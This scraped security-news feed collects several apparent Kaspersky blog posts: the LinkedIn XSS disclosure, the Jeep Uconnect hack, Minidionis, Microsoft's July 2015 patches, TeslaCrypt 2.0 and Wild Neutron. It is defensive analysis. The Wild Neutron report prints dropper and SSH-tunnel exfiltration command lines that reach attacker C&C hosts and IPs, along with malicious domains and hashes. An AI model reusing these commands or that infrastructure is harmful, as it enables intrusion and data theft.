text:
Malware RSS Feed
Protecting Your Social Media Account
Back up Your Files
Cloud Security
Kaspersky researchers warns Linkedin from potential spear phishing
On November 14, 2014, security researchers from Kaspersky Lab warned LinkedIn, the world's largest business-oriented social network, about a security issue that could pose a major threat to its 360+ million users. Because LinkedIn attracts so many people in the business community, a security flaw such as this one could help attackers to efficiently execute spear phishing campaigns, steal credentials and potentially gain remote control over selected victims without needing to resort to social engineering.
Linkedin engaged to remediate the threat and had since issued a fix to the vulnerable platform.
"While certain HTML content should be restricted and we have issued a fix and thanked Kaspersky researchers; the likelihood of exploit on popular modern email platforms is unlikely." says David Cintz, Senior Technical Program Manager at Linkedin security ecosystem.
Researchers found the vulnerability after noticing escape character differences when posting comments from different devices in various posts. The second alert was a malfunction in the platform's back-end parser that simply interpreted a CRLF ("Enter" keystroke) to an HTML tag
, appending it to the post as text. The two were not connected to each other, but they both raised important questions.
Although it may sound like not that big of a deal, a tiny malfunction like this attracts the attention of attackers. Looking at those two behaviors, researchers were convinced that something was not right. It seems like no one had noticed it. It took a trained eye to assemble the pieces of the puzzle.
ENTER keystroke being interpreted to plain-text
 element
Submitting multiple posts from a web browser had successfully imitated part of the behavior of the escape character differences, but there was no lead on how to bypass the anti-Cross-site Scripting (XSS) engine and generate an attack.
Further research led to a major discovery. There was a reason why the output from one device was not encoded the same as the other.
Submitting comments with HTML tags from the web platform generated %3C as the less-than character, while the same input from a mobile device was encoded to <. Further inspections led to the presence of two different platforms. But that did not mean that the web platform was vulnerable. Or did it?
Another interesting insight was that every comment to a post is sent via an email platform to all other users who were part of the thread. The differences in the body of that email confirmed our suspicions. The following screenshots illustrate the two scenarios:
A comment posted from the website with a proper escape
A comment posted from the mobile application without an escape
That proved that two different email platforms exist and that mobile notifications could help to deliver a malicious payload without any user-supplied input validations.
Signed email bounced from Linkedin regardless of its content
Social platforms are a big target for hackers. Companies in general are hit by white hat hackers on a daily basis, trying to get a piece of the internet security pie. But what if a black hat hacker finds the issue?
Looking at the following chart, we can assess how this type of security issue might give an attacker a big chunk of the solution to the problem of how to distribute malicious software under the guise of a legitimate social platform notification.
Generic Malware Distribution Cycle
Malware authors invest a lot of time in achieving each of these milestones. Every step has a big impact on the overall outcome: solid programming that can adapt to multiple systems/devices, packers and binders, obfuscation and encryption, combining reconnaissance with the right distribution method and finding the right zero-day or exploit to remotely control the system.
To save valuable time, attackers find clever ways to approach authors and purchase their needs for each milestone, as if they were goods in a store. Finalizing the shopping list to cook up this type of attack might cost a lot. A business-oriented social platform that gives details of millions of business men and women, along with their titles, colleagues, career information and more, could be extremely valuable. It's not difficult to target a user, and exploiting that information is just a single comment away.Choose your victim
Injecting a malicious comment into a user's post thread will automatically launch a notification to his email account, regardless of the email provider or connection hierarchy between the victim and the attacker.
Although it seems that the application server had escaped the dangerous characters, the payload is only escaped from the main application. The email template is sent as it is.
Injecting malicious payload via mobile application
In the worst case scenario, if an email provider fails to properly escape the content of an incoming email, the attacker can leverage the issue to execute a malicious JavaScript injection attack, also known as Stored XSS.
Another scenario might involve using an associated HTML form to collect information about the victim or redirect the victim to a site where a malicious executable can be downloaded.
Example scenario – stealing credentials
Last November Kaspersky Lab researchers contacted Linkedin's security team, and informed them about the issue. The platform was fixed and the threat has been mitigated.
How to prevent yourself from becoming a victim:
- Use an advanced Internet Security solution to filter out dangerous redirections to servers that contain malware, phishing and more. If a solution is already installed, keep it updated at all times.
- Opening an attachment or following a link in an email – even from a known party – might contain malicious content. Be very wary before making the decision to open it.
- Do not register to social platforms with your corporate email account.
Jonathan Jaquez – CEO, Mageni.net
David Cintz – Sr. Technical Program Manager, Linkedin
Zero day exploits: now available for cars
The day before yesterday was an important day for the information security industry. Investigators announced exploitation of the first ever 0-day vulnerability for cars. The wireless attack was demonstrated on a Jeep Cherokee.
Charlie Miller and Chris Valasek found the vulnerability in the onboard computer of the car. People have been talking for a long time about attacks on such systems if the attackers have access to a diagnostics jack. However a remote attack on a car's critical systems remained a purely theoretical scenario about which experts have warned for a long time (including experts from Kaspersky Lab). Many hoped that the car manufacturers would recognise the risk of such vulnerabilities being exploited and take preventive measures. Well, we overestimated them.
The investigators gained access through the onboard entertainment system not only to non-critical settings but also the car's controls like brakes and accelerator. The investigators plan to publish the technical details of the hack in August but the overall scheme of things is already known.Car Hack
To start with, the air conditioner, radio and windscreen wipers went crazy and the driver could do nothing about it. And then the car itself. The accelerator and brakes of the Jeep responded only to the remote investigators and not to the car's owner at the wheel.
It is important here to note that the car had not been modified. All the above was carried out using a vulnerability in the onboard Uconnect system, which handles contact with the outside world via the infrastructure of the Sprint cell operator in cars of the FCA auto-group (Chrysler, Dodge, Fiat, Jeep and Ram). It is enough to know the external IP-address of the victim to rewrite the code in the head unit of the car (more about these units a bit later).
The company has already released a patch for Uconnect, which can be installed either at official dealers, or, for the technically minded, independently via a USB-port. At the moment the investigators can see a vehicle's VIN, GPS coordinates and IP address by connecting to the Sprint network and using the 0-day exploit they found. By the way, to find the specific vehicle among the 471 thousand vehicles with Uconnect on board is, according to the investigators, rather difficult.A conceptual defence
This is not the first incident showing the insufficient safety mechanisms built in to modern cars as standard. Before this we saw the local seizure of the steering through the OBD-II diagnostic port and an illicit software update through a false cell base station.
Both the operating system manufacturers and the car manufacturers are now implementing important and necessary but insufficient cyber security measures. The situation is made worse by the fact that the architecture of the onboard electronic networks of vehicles was developed in the 80s, when the idea that a car would be connected to the Internet was something out of science fiction. And, consequently, although the electronic components are reliable and functionally safe the same can not be said about their cyber-security. Here at Kaspersky Lab, as in the case with conventional computer networks, we are convinced that complete multi-level safety will only be achieved by a combination of the right architecture, developed taking into account all risks, including cyber-risks, the correct setup of pre-established equipment and the use of specialised solutions.Architecture
The Kaspersky Lab approach is based on two fundamental architectural principles: isolation and controlled communications.
Isolation guarantees that two independent entities can in no way affect each other. For example, entertainment applications will not be able to affect the technical network. Not on board an aircraft and not in a car.
Control of communications guarantees that two independent entities which should work together for the system to function will do so strictly in accordance with the safety and security policy. For instance the system for acquisition of telemetry and sending it to the service centre can only read data about the condition of the car but not transfer control signals. This sort of control would have been of great help to our Jeep owner.
The use of cryptography and authentication for the transfer and receipt of information within and from outside are also indispensable parts of a protected system. But, judging by the results of the investigators, Jeep either used weak vulnerable algorithms or the cryptography was implemented with errors or not implemented at all.
The described approach — isolation and control of communications – comes naturally to a micro-kernel operating system with controlled inter-process interaction. Each logical domain has its own address space and all contact between domains is always carried out via a safety monitor.Products
Of the onboard electronics controlling critically important functions of the vehicle and theoretically open to attack the key elements are the head unit (HU) and the electronic control units (ECU), which form a whole network of controllers. There are control blocks for the engine, transmission, suspension etc.
Head units work on real time operating systems (RTOS) such as QNX, VxWorks and others. Kaspersky Lab intends to offer its own protected operating system for head units after obtaining the necessary certificates.
Both of the architectural principles mentioned above (isolation and control of communications) are fundamental principles of KasperskyOS — a safe micro-kernel operating system with controlled inter-process interaction.
The operating system was created from scratch and security was its main priority from the word go. This is the main difference between our product and the operating systems now installed in cars. We called a key component of our safe operating system the Kaspersky Security System (KSS)
During operation this system has responsibility for calculating a verdict on the security of any given event happening in the system. On the basis of this verdict the kernel of the operating system takes a decision to allow or block the event or inter-process communication. With the help of the KSS it is possible to control any activity — access to ports, files, network resources via specific applications etc. At the moment KSS works on PikeOS and Linux.
The software on the electronic control blocks is only small blocks of code and for these Kaspersky Lab intends to cooperate with microelectronics firms to jointly guarantee the safety of this embedded software.In place of a conclusion
We really don't want to deny ourselves the comforts which the computerisation of cars has brought. However if car manufacturers don't start taking the problem of the cyber-security of their Internet-connected cars seriously and don't start demanding that car component manufacturers do the same then people who are concerned about safety will have to switch to classic cars. Yes old cars don't have computers. Yes they don't have computer-controlled fuel injection, navigation systems, climate control and other modern gadgets. But on the other hand they only obey the person at the wheel.
Protecting Your Social Media Account
Back up Your Files
Cloud Security
Minidionis – one more APT with a usage of cloud drives
Yesterday our colleagues from Paloalto networks presented a research uncovering Minidionis (also known by the Kaspersky codename – "CloudLook"). It's an another backdoor from APT group responsible for other attacks such as CozyDuke , MiniDuke, and CosmicDuke.
Analyzing this malware we noticed that attackers implemented a capability of cloud drive usage to store malware samples and downloading them on infected systems. Almost one year ago, we observed another APT group codenamed "CloudAtlas" (link), also using cloud drives to store the stolen information. And now we see a similar technique in CloudLook/Minidionis.
Minidionis uses multidropper scheme to infect it victims. Usually attacker's uses spear-phishing emails with a self-extracting archive pretending to be a voicemail. When victim opens an archive the second stage dropper executes and a .wav file plays looking like a real voicemail. Also attackers were using a self-extracting archive containing a PDF file luring it's victims with information regarding world terrorism:
After successful execution the second stage dropper of Minidionis malware uses Onedrive cloud storage to download payload from:
The malware maps an Onecloud storage drive as network drive using hardcoded login and password, and then copies files that stored in cloud to the local system:
Could this approach become a mainstream? It's quite possible, because it gives the attackers a simple method of hiding malicious behavior – detection of to-the-cloud malicious traffic is more complicated as it means also blocking legitimate services.
According to Kaspersky Security Network, every single attack using Minidionis/CloudLook backdoors was specifically crafted for a particular target. This indicates that the attacks are highly customized and focused on value targets. So far, we've observed several targets, most notably in diplomatic organizations from Europe.
Kaspersky Lab detects all known samples of Minidionis/CloudLook as Trojan.Win32.Generic, and successfully protects its users against the threat.
Use Caution Opening Email Attachments
Securely Deleting Files
Microsoft Security Updates July 2015
Microsoft releases a long list of updates to multiple technologies today with 14 Security Bulletins (MS15-058, MS15-065 – MS15-077) patching 58 vulnerabilities, and at least 47 of them reported through a a responsible disclosure channel. Meanwhile, several are being used and detected ITW as a part of limited targeted attacks, like the Microsoft Office RCE cve-2015-2424, ATMFD.DLL EoP cve-2015-2387, and the Internet Explorer JScript9 RCE cve-2015-2419. Some were the result of breach leaks as well. A number of these have a very attractive offensive utility to defend against, so expect to see these exploits being used and re-used. Most of the July updates fall under two main categories, and the updated technologies are listed below. All of the Windows versions from Windows 7 and up maintain a critical RCE vulnerability of one sort or another. Update ASAP.
Remote code execution vulnerabilities
- Windows Server Hyper-V
- Windows DLL Handling
- SQL Server
- Internet Explorer
- VBScript Engine
- Remote Desktop Protocol (RDP)
- Microsoft Office
Elevation of privilege vulnerabilities
- Windows Graphics Component
- Windows Kernel (win32k.sys)
- Windows Installer Service
- Windows Remote Procedure Call Service
- Windows ATM Font Driver
- SQL Server
Vulnerabilities falling under other categories like XSS filter bypass, information disclosure, ASLR bypass, authentication spoofing
- Internet Explorer
- Microsoft Excel
- Netlogon
- Windows Kernel (win32k.sys)
The most interesting of these vulnerabilities includes the RDP RCE and the Hyper-V RCE. The RDP vulnerability affects even the stripped down Windows Server 2012 Server Core installation, and seems to have been reported by an anonymous source unusually wanting no credit for a remotely exploitable critical vulnerability for a service that is often externally exposed. While Microsoft is doubtful that remote code execution is reliable, they at least acknowledge the possibility. In the past, their denial had been corrected by researchers on the potential for heap feng shei leading to exploitation of certain services, including the 2010 bug in their IIS FTPsvc.
Another couple are the Hyper-V RCE, which are buffer overflow cve-2015-2361 in the Storvsp.sys driver and an unusual "data structure vulnerability" cve-2015-2362 present in Vmicrdv.dll, Vmicvss.dll, Vmicshutdown.dll, Vmictimesync.dll, Vmicheartbeat.dll, and Vmickvpexchange.dll, available across Windows Hyper-V on Windows Server 2008, Windows Server 2008 R2, Windows 8 and Windows Server 2012, and Windows 8.1 and Windows Server 2012 R2. These were both found by an internal Microsoft engineer. Much like the Cloudburst exploit from years ago on VMWare, these enable code with execution escape from a virtual guest operating system into the host system.
Full list of July cve being updated here:
TeslaCrypt 2.0 disguised as CryptoWall
The TeslaCrypt family of ransomware encryptors is a relatively new threat: its samples were first detected in February 2015. Since then the malware has been widely portrayed in mass media as the 'curse' of computer gamers because it targets many game-related file types (game saves, user profiles, etc.). The Trojan's targets have included people in the US, Germany, Spain and other countries.
TeslaCrypt is still in the active development phase: in the past months, its appearance, the name shown to victims (the malware can mimic CryptoLocker and has used the names TeslaCrypt and AlphaCrypt), extensions of encrypted files (.ecc, .ezz, .exx), as well as implementation details, have all changed.
Kaspersky Lab recently discovered the latest version of the Trojan – TeslaCrypt 2.0. This version is different from previous ones in that it uses a significantly improved encryption scheme, which means that it is currently impossible to decrypt files affected by TeslaCrypt. It also uses an HTML page instead of a GUI. Incidentally, the HTML page was copied from another Trojan – Cryptowall.
Kaspersky Lab products detect malware from the TeslaCrypt family as Trojan-Ransom.Win32.Bitman. The latest version of the Trojan that is discussed in this paper is detected as Trojan-Ransom.Win32.Bitman.tk, its MD5-hash: 1dd542bf3c1781df9a335f74eacc82a4Evolution of the threat
Each TeslaCrypt sample has an internal version of the malware. The first sample we found was version 0.2.5. It had borrowed its graphical interface, including the window header, from another encrypting ransomware program – CryptoLocker.
TeslaCrypt 0.2.5
By version 0.4.0, the developers of TeslaCrypt had completely changed the malware's appearance.
TeslaCrypt 0.4.0
The following features of the malware family remain the same, regardless of the version:
- The Trojan independently generates a new, unique Bitcoin address and a private key for it. The address is used both as a victim ID and to receive payments from the victim.
- The AES-256-CBC algorithm is used to encrypt files; all files are encrypted with the same key.
- Files larger than 0x10000000 bytes (~268 MB) are not encrypted.
- C&C servers are located on the Tor network; the malware communicates with the C&Cs via public tor2web services.
- Files encrypted by the malware include many extensions matching files used in computer games.
- The Trojan deletes shadow copies.
- In spite of the scary stories about RSA-2048 shown to victims, this encryption algorithm is not used by the malware in any form.
- The Trojan was written in C++, built using Microsoft's compiler, with cryptographic algorithm implementation taken from the OpenSSL library.
- Early versions of TeslaCrypt (0.2.5 – 0.3.x) were designed to check whether a bitcoin payment had been successfully made on the site http://blockchain.info. If the payment was received, the malware reported this to the command server and received a key to decrypt the files. This scheme was vulnerable, since an expert could send a request to the C&C and get the necessary key without making a payment.
- Versions 0.2.5 – 0.3.x saved the decryption key (with other data) in their own service file, key.dat. The area containing the key was zeroed out in the file only after completing encryption, making it possible to save the key by interrupting the encryptor's operation (e.g., by turning off the computer). After this, the key could be extracted from key.dat and used to decrypt all files.
- In version 0.4.0 the file key.dat was renamed to storage.bin, and the decryption key was not stored openly but as a multiplicative inverse modulo the order of the standard elliptic curve secp256k1. On completing encryption, the key was overwritten with random bytes rather than zeros, but it was still possible to extract the key before the area was overwritten. This was implemented in our RakhniDecryptor utility.
Recently a sample of the Trojan with internal version 2.0.0 caught our attention. So what was different this time?
The first thing that caught the eye was that TeslaCrypt no longer has code responsible for rendering the GUI (the application window). Instead, after encrypting the files the Trojan opens an HTML page in the browser. The page was fully copied from another infamous ransomware program – CryptoWall 3.0.
The page that opens when a victim follows one of the links provided by the cybercriminals is also identical to the CryptoWall payment page, with one exception: the URLs lead to a TeslaCrypt server – the authors of the malware were certainly not going to let their rivals get their victims' money.
TeslaCrypt initializes a string with text about CryptoWall
Why use this false front? We can only guess – perhaps the attackers wanted to impress the gravity of the situation on their victims: files encrypted by CryptoWall still cannot be decrypted, which is not true of many TeslaCrypt infections.
In any event, this is not the only change from the previous version of TeslaCrypt. The encryption scheme has been improved again and is now even more sophisticated than before. Keys are generated using the ECDH algorithm. The cybercriminals introduced it in versions 0.3.x, but in this version it seems more relevant because it serves a specific purpose, enabling the attackers to decrypt files using a 'master key' alone. More about this in due course.The TeslaCrypt 2.0 encryption scheme Generation of key data
The Trojan uses two sets of keys – 'master keys' that are unique for each infected system and 'session keys' that are generated each time the malware is launched on the system.Master key generation
Let Q be a standard secp256k1 elliptic curve ("SECG curve over a 256 bit prime field") and G be the generator of a cyclic subgroup of points on this curve.
Let malware_pub be the attackers' public key contained in the Trojan's body (it is a point on the Q curve, stored as two separate coordinates – x and y).
When infecting a system, the Trojan generates:
- install_id – the infection identifier – a random 8-byte sequence.
- master_btc_priv – the private master key – a random 32-byte sequence, which is sent to the C&C.
- master_btc_pub = master_btc_priv * G (point on the curve) – the public master key; stored in encrypted files.
- btc_address – a bitcoin address used to receive the ransom payment – generated using the standard Bitcoin algorithm, based on master_btc_pub.
- master_ecdh_secret = ECDH(malware_pub, master_btc_priv) – a "shared master key", required for decryption if master_btc_priv is lost or does not reach the C&C; not saved anywhere in this form.
- master_ecdh_secret_mul = master_ecdh_secret * master_btc_priv – a number that can be used to recover master_btc_priv; stored in the system.
master_btc_priv (in accordance with the Bitcoin operating principle) is a private key that is needed to 'withdraw' the Bitcoins sent to the newly created address btc_address.
Every time it is launched (when first infecting a computer or, e.g., after a reboot), the Trojan generates new copies of:
- session_priv – a private session key – random 32 bytes. Used to encrypt files, not saved anywhere
- session_pub = session_priv * G – a public session key. Stored in encrypted files.
- session_ecdh_secret = ECDH(master_btc_pub, session_priv) – a "shared session key" – needed to decrypt files, not saved anywhere in this form.
- session_ecdh_secret_mul = session_ecdh_secret * session_priv – a number that can be used to recover session_ecdh_secret. Stored in encrypted files.
Unlike previous version of the malware, TeslaCrypt 2.0.0 does not use key.dat or storage.bin to store data. Instead, it uses the system registry: an install_id value is stored in HKCU\Software\msys\ID, and the following structure is added to HKCU\Software\<install_id>\data:
In the familiar syntax of the C programming language, the structure can be described as follows:
Here is what it looks like on an infected system:
Starting from version 0.3.5, TeslaCrypt affects both regular drives connected to the system and all file resources available on the network (shares), even if they are not mounted as drives with letters of their own. Few other encryptors can boast this functionality.
Each file is encrypted using the AES-256-CBC algorithm with session_priv as a key. An encrypted file gets an additional extension, ".zzz". A service structure is added to the beginning of the file, followed by encrypted file contents. The structure has the following format:
The same structure in C language syntax:
The authors of TeslaCrypt 2.0.0 completely removed the file decryption feature that was present in earlier versions of the malware. Based on analyzing the encryption scheme described above, we can suggest the following algorithms for decrypting the files:
If master_btc_priv is known, do the following:
- Read session_pub from the encrypted file;
- Calculate session_ecdh_secret = ECDH(session_pub, master_btc_priv);
- Read session_ecdh_secret_mul from the encrypted file;
- Calculate session_priv = session_ecdh_secret_mul / session_ecdh_secret;
- Decrypt the file using the session_priv key.
If master_btc_priv is unknown, but malware_priv is known (and the only people who know it are the cybercriminals who added the corresponding malware_pub to the Trojan's body):
- Read master_btc_pub from the registry or encrypted file;
- Calculate master_ecdh_secret = ECDH(master_btc_pub, malware_priv);
- Read master_ecdh_secret_mul from the encrypted file
- Calculate master_btc_priv = master_ecdh_secret_mul / master_ecdh_secret;
- With master_btc_priv known, perform the steps from item 1.
To get a full understanding of the subject matter, it is worth reading about the Diffie-Hellman algorithm and ECDH – its version for elliptic curves. For example, this is a good resource.Other features Evading detection
The Trojan implements a detection evasion technique based on using COM objects. We first saw it used in TeslaCrypt version 0.4.0, but since then it has been slightly modified. Pseudocode generated based on version 2.0.0 looks like this:
The Trojan's sample contains a static list of C&C addresses. The servers are actually on the Tor network, but communication with them is carried out through the Web using tor2web services.
Before TeslaCrypt version 0.4.1, server requests were sent in plaintext; in subsequent versions they were encrypted using the AES-256-CBC algorithm, with a SHA256 hash of a static string from the malicious program's body used as a key.
The pseudocode screenshot below shows the process of creating an HTTP request to be sent by the Trojan when infecting a system.
Malware from the TeslaCrypt family is known to be distributed using exploit kits such as Angler, Sweet Orange and Nuclear. This method of distributing malware works as follows: when a victim visits an infected website, an exploit's malicious code uses vulnerabilities in the browser (usually in plugins) to install target malware in the system.
Geographical distribution of users attacked by malware from the TeslaCrypt familyRecommendations
To protect data from encrypting ransomware, we advise users to backup all their important files regularly. Backup copies should be stored on drives that can only be written to as part of the process of backing up data. For example, home users can use external hard drives, physically disconnecting them from the computer immediately after creating backup copies.
Promptly updating software (particularly browser plugins and the browser itself) is also extremely important, since vendors are always striving to close any vulnerabilities that are exploited by cybercriminals.
If malware did find its way into the system, an up-to-date antivirus product with updated databases and activated protection modules can help to stop it from doing any harm. This is especially true of the proactive protection module, which is the last line of defense against 0-day threats.
Wild Neutron – Economic espionage threat actor returns with new tricks
Indicators of Compromise (IOC)
A powerful threat actor known as "Wild Neutron" (also known as "Jripbot" and "Morpho") has been active since at least 2011, infecting high profile companies for several years by using a combination of exploits, watering holes and multi-platform malware.
The latest round of attacks in 2015 uses a stolen code signing certificate belonging to Taiwanese electronics maker Acer and an unknown Flash Player exploit.
Wild Neutron hit the spotlight in 2013, when it successfully infected companies such as Apple, Facebook, Twitter and Microsoft. This attack took advantage of a Java zero-day exploit and used hacked forums as watering holes. The 2013 incident was highly publicized and, in the aftermath, the threat actor went dark for almost one year.
#WildNeutron is a powerful entity engaged in espionage, possibly for economic reasonsTweet
In late 2013 and early 2014 the attacks resumed and continued throughout 2015. Targets of the new attacks include:
- Law firms
- Bitcoin-related companies
- Investment companies
- Large company groups often involved in M&A deals
- IT companies
- Healthcare companies
- Real estate companies
- Individual users
The focus of these attacks suggests this is not a nation-state sponsored actor. However, the use of zero-days, multi-platform malware as well as other techniques makes us believe it's a powerful entity engaged in espionage, possibly for economic reasons.Older (2013) campaigns
During the 2013 attacks, the Wild Neutron actor successfully compromised and leveraged the website www.iphonedevsdk[.]com, which is an iPhone developers forum.
The attackers injected a script into the forum that redirected visitors to another website (min.liveanalytics[.]org – currently SINKHOLED by Kaspersky Lab) that hosted a Java zero-day exploit. A similar attack was also found in another forum dedicated to Linux developers: fedoraforum[.]org. For a more detailed analysis of these 2013 attacks, see Eric Romang's blog.
Other forums compromised by the Wild Neutron group and identified by reports from the Kaspersky Security Network include:
- expatforum.com
- mygsmindia.com
- forum.samdroid.net
- emiratesmac.com
- forums.kyngdvb.com
- community.flexispy.com
- ansar1.info
In particular, two of these stand out: "community.flexispy[.]com" and "ansar1[.]info". The first one is a community ran by Flexispy, a company that sells spyware for mobile devices. The second one is a Jihadist forum that is currently closed.
ansar1[.]info was injected by Wild Neutron in 2013
Back in 2013, the attackers also leveraged a Mac OS X backdoor, known as OSX/Pintsized. This is also described in more detail in Eric Romang's excellent blog. The same backdoor, compiled for Win32, is still being used in the 2015 attacks.
#WildNeutron is one of the most unusual APT group we've analysed and trackedTweet
Some of the more prominent victims of the 2013 attack include Twitter, Facebook, Apple and Microsoft. These breaches were covered widely by the press and some affect companies, issued statements on the incident (see Facebook's statement).
The targeting of major IT companies like Facebook, Twitter, Apple and Microsoft is unusual, however, it's not entirely unique. The lack of victims in other sectors, such as diplomatic or government institutions, is however quite unusual. This makes us believe this is not a nation-state sponsored attack.Technical analysis
The malware set used by the Wild Neutron threat actor has several component groups, including:
- A main backdoor module that initiates the first communication with C&C server
- Several information gathering modules
- Exploitation tools
- SSH-based exfiltration tools
- Intermediate loaders and droppers that decrypt and run the payloads
Although customized, some of the modules seem to be heavily based on open source tools (e.g. the password dumper resembles the code of Mimikatz and Pass-The-Hash Toolkit) and commercial malware (HTTPS proxy module is practically identical to the one that is used by Hesperbot).
Although customized, some of the modules seem to be heavily based on open source tools #WildNeutronTweet
All C&C communication is encrypted with a custom protocol. Dropped executables, as well as some of the hardcoded strings are usually obfuscated with XOR (depends on bot version). The main backdoor module contains a number of evasion techniques, designed to detect or time out sandboxes and emulation engines.Exploitation – 2015
The initial infection vector from the 2014-2015 attacks is still unknown, although there are clear indications that the victims are exploited by a kit that leverages an unknown Flash Player exploit.
The following exploitation chain was observed in one of the attacks:Site hxxp://cryptomag.mediasource.ch/ Paths /favicon.ico
The subdomain cryptomag.mediasource[.]ch appears to have been created for this attack; it pointed to an IP address associated with other Wild Neutron C&Cs, highlighted in red below:
Hosts resolving to 66.55.133[.]89
While app.cloudprotect[.]eu and ssl.cloudprotect[.]eu are two known Wild Neutron C&Cs, cryptomag.mediasource[.]ch appears to have been pointed to this IP for the purpose of exploitation. Another suspicious domain can be observed above, secure.pdf-info[.]com. We haven't seen any attacks connected with his hostname yet, however, the name scheme indicates this is also malicious.
In another attack, we observed a similar exploitation chain, however hosted on a different website, hxxp://find.a-job.today/.
In both cases, the visitors browsed the website, or arrived via what appears to have been an online advertisement. From there, "autoload.js" appears in both cases, which redirects to another randomly named HTML file, which eventually loads a randomly named SWF file.
While the group used watering hole attacks in 2013, it's still unclear how victims get redirected to the exploitation kits in the new 2014-2015 attacks. Instead of Flash exploits, older Wild Neutron exploitation and watering holes used what was a Java zero-day at the end of 2012 and the beginning of 2013, detected by Kaspersky Lab products as Exploit.Java.CVE-2012-3213.b.The main malware dropper
The functionality of the main dropper is relatively simple: it decrypts the backdoor executable (stored as a resource and encrypted with a simple XOR 0x66), writes it to a specified path and then executes it with parameters that are hardcoded in the dropper body. One of the parameters is the URL address of the C&C server, while others contain various bot configuration options.
Example parameters used by the dropper:
igfxupt.exe https://app.cloudprotect[.]eu:443 /opts resolv=logs.cloudprotect[.]eu
After executing the main backdoor, the dropper is securely deleted by overwriting its content with random numbers several times before renaming and removing the file.The main backdoor (aka "Jripbot")
This binary is executed with a parameter that the URL address of the C&C server and optionally an initial bot configuration; this information is then double-encrypted – first with RC4 and then with Windows CryptProtectData function – and saved to the registry.
Before performing any other activity, the malware first runs its stalling code (designed to outrun the emulators), then performs several anti-sandboxing checks and enters an infinite loop if any unwanted software running in the system is detected.
Otherwise, it gathers some basic system information:
- Version of the operating system
- If program is running under WOW64
- If current user has administrator privileges
- Which security features of Windows are enabled
- Username and computer name
- Server name and LAN group
- Information about logical drives
- System uptime and idle time
- Default web browser
- Proxy settings
Based on some of this information, malware generates a unique ID for the victim and starts the C&C communication by sending the ID value and awaiting commands.
Backdoor configuration options may include proxy server address and credentials, sleeptime/delay values and connection type, but the most interesting option is the resolv=[url] option. If this option is set, the malware generates a domain name consisting of computer name, unique ID and and the URL passed with this option; then it tries to resolve the IP address of this domain. We suspect this is the method the attackers use to send the generated UID to the C&C.
Commands from the C&C may instruct the bot to perform following actions:
- Change the current directory to the requested one
- Execute an arbitrary command in the command line
- Set the autorun value for itself in the registry
- Delete the autorun value for itself in the registry
- Shred requested file (overwrite the file content with random numbers, overwrite the file name with zeroes and then delete it)
- Download file from the Internet and save it (optionally encrypted) to the disk
- Install or uninstall additional malware plugins
- Collect and send system information
- Enumerate drives
- Set sleeptime value
- Update the configuration
- Update itself
- Quit
Older versions of this backdoor, used in the 2013 attacks, had a bit more functionality:
- Password harvesting
- Port scanning
- Collecting screenshots
- Pushing files to C&C
- Reverse shell
These features were removed from the newer backdoor versions that are used in recent attacks. Instead, malware developers decided to implement a plugin mechanism and run different tools for different tasks. This suggests a clear shift towards more flexible modular architecture.
#WildNeutron hide the C&C address by encrypting it in the registry with machine-dependent informationTweet
In terms of functionality, the main backdoor is no different from many other Remote Access Tools (RATs). What really stands out is the attacker's carefulness to hide the C&C address, by encrypting it in the registry with machine-dependent information. Also notable is the ability to recover from a C&C shutdown by contacting a dynamically generated domain name, which only the attackers know in advance, as it is directly tied to each unique victim.
According to the timestamp of the samples the distribution is as follows:
Each backdoor appears to contain an internal version number, which ranges from 11000 to 16000 in the latest samples. This allows us to trace the following evolutionary map:
Backdoors used in the 2013 attacks:MD5 Timestamp Version Filename Size 1582d68144de2808b518934f0a02bfd6 29 Nov 2012 11000 javacpl.exe 327168 14ba21a3a0081ef60e676fd4945a8bdc 30 Nov 2012 12000 javacpl.exe 329728 0fa3657af06a8cc8ef14c445acd92c0f 09 Jan 2013 13000 javacpl.exe 343552
Backdoors used in 2014 and 2015 attacks:MD5 Timestamp Version Filename Size 95ffe4ab4b158602917dd2a999a8caf8 13 Dec 2013 14014 LiveUpdater.exe 302592 342887a7ec6b9f709adcb81fef0d30a3 20 Jun 2014 15013 FlashUtil.exe 302592 dee8297785b70f490cc00c0763e31b69 02 Aug 2013
(possibly fake) 16010 IgfxUpt.exe 291328 f0fff29391e7c2e7b13eb4a806276a84 27 Oct 2014 16017 RtlUpd.exe 253952
The installers also have a version number, which indicates the following evolution:MD5 Timestamp Version 1f5f5db7b15fe672e8db091d9a291df0 16 Dec 2011 1.4.1 48319e9166cda8f605f9dce36f115bc8 28 Sep 2012 1.5.0 088472f712d1491783bbad87bcc17c48 12 Apr 2013 1.6.3 ee24a7ad8d137e54b854095188de0bbf 07 Jan 2014 1.6.4 Lateral movement
After installing the main backdoor and establishing initial C2 communication, the attackers use a range of different tools to extract sensitive data and control the victim's machine. These tools include a password harvesting trojan, a reverse-shell backdoor and customized implementations of OpenSSH, WMIC and SMB. Sometimes, they only drop a simple perl reverse shell and use various collection methods to retrieve credentials from a set of machines, escalate privileges, and fan out across a network from there. Besides these tools, there is also a number of small utility modules of different functionalities, from loaders and configuration tools, to file shredders and network proxies.
It's also worth noting that this threat actor heavily relies on already existing code, using publicly available open source applications, as well as Metasploit tools and leaked malware sources, to build its own toolset. Some of these tools are designed to work under Cygwin and come together with the Cygwin API DLL, which may suggest that the attackers feel more comfortable when working in a Linux-like environment.SSH tunnel backdoor
During the 2014/2015 attacks, we observed the attackers deploying custom, OpenSSH-based Win32 tunnel backdoors that are used to exfiltrate large amounts of data in a reliable manner. These tunnel backdoors are written as "updt.dat" and executed with two parameters, -z and -p. These specify the IP to connect to and the port. Despite the port number 443, the connection is SSH:
- /d /u /c updt.dat -z 220.127.116.11 -p 443
- /d /u /c updt.dat -z 220.127.116.11 -p 443
- /d /u /c updt.dat -z 22.214.171.124 -p 443
For authentication, the SSH tunnel backdoor contains a hardcoded RSA private key.Stolen certificate
During the 2015 attacks, Wild Neutron used a dropper signed with a stolen, yet valid Acer Incorporated certificate.
Acer signature on Wild Neutron dropper
The abused certificate has the following properties:
Serial: 5c c5 3b a3 e8 31 a7 df dc 7c 28 d5 15 8f c3 80
Thumbprint: 0d 85 91 41 ee 9a 0c 6e 72 5f fe 6b cf c9 9f 3e fc c3 fc 07
The dropper (dbb0ea0436f70f2a178a60c4d8b791b3) appears to have been signed on June 15, 2015. It drops a Jripbot backdoor as "IgfxUpt.exe" and configures it to use the C&C "app.cloudprotect[.]eu".
#WildNeutron used a dropper signed with a stolen, yet valid Acer Incorporated certificateTweet
We have contacted Verisign and requested revocation of the certificate.Victims and statistics
The Wild Neutron attacks appear to have a highly targeted nature. During our investigation, we have been able to identify several victims across 11 countries:
- France
- Russia
- Switzerland
- Germany
- Austria
- Palestine
- Slovenia
- Kazakhstan
- Algeria
